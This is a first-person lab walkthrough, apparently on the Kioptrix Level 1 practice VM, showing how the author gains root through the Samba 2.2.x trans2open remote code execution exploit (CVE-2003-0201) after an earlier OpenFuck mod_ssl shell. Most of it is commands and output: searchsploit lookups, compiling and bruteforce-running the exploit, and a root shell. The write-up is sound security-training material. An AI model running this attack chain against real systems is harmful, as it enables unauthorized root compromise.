Day 2

Task: using samba shell with a port of 139

1. First I needed to know the samba version so I entered the kioptrix shell using the apache exploit we used earlier

```
┌──(fekry㉿kali)-[~/Downloads]
└─$ ./OpenFuck 0x6b 192.168.209.136 -c 45

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 45 of 45
Establishing SSL connection
```

2. Then I used the smvclient to know the samba version

```
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./exploit: No such file or directory
bash-2.05$
bash-2.05$ smbclient
smbclient
added interface ip=192.168.209.136 bcast=192.168.209.255 nmask=255.255.255.0
Usage: smbclient service <password> [options]
Version 2.2.1a
```

3. Then after knowing the version I searched locally for the exploits

```
┌──(fekry㉿kali)-[~]
└─$ searchsploit "samba 2.2.1a"
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)   | osx/remote/9924.rb
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution              | multiple/remote/10.c
Samba < 3.0.20 - Remote Heap Overflow                          | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                  | linux_x86/dos/36741.py
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
```

4. I decided to use the second one so I mirrored the exploit file on my machine

```
┌──(fekry㉿kali)-[~]
└─$ searchsploit -m 10.c
  Exploit: Samba < 2.2.8 (Linux/BSD) - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/10
     Path: /usr/share/exploitdb/exploits/multiple/remote/10.c
    Codes: OSVDB-4469, CVE-2003-0201
 Verified: True
File Type: C source, ASCII text
Copied to: /home/fekry/10.c
```

5. The file is in C programming so I compiled it first

```
┌──(fekry㉿kali)-[~]
└─$ gcc -o exploit 10.c -lcrypto
```

6. Then I ran the file after compiling it

```
┌──(fekry㉿kali)-[~]
└─$ ./exploit
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
-------------------------------------------------------------
Usage: ./exploit [-bBcCdfprsStv] [host]

-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD
 3.2)
-B <step>       bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay>      bruteforce/scanmode delay in micro seconds (default = 100000)
-f              force
-p <port>       port to attack (default = 139)
-r <ret>        return address
-s              scan mode (random)
-S <network>    scan mode
-t <type>       presets (0 for a list)
-v              verbose mode
```

7. All is left now is to run the command as said

```
┌──(fekry㉿kali)-[~]
└─$ ./exploit -b 0 192.168.209.136
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
-------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
-------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
pwd
/tmp
whoami
root
```

You can see I gain access as the root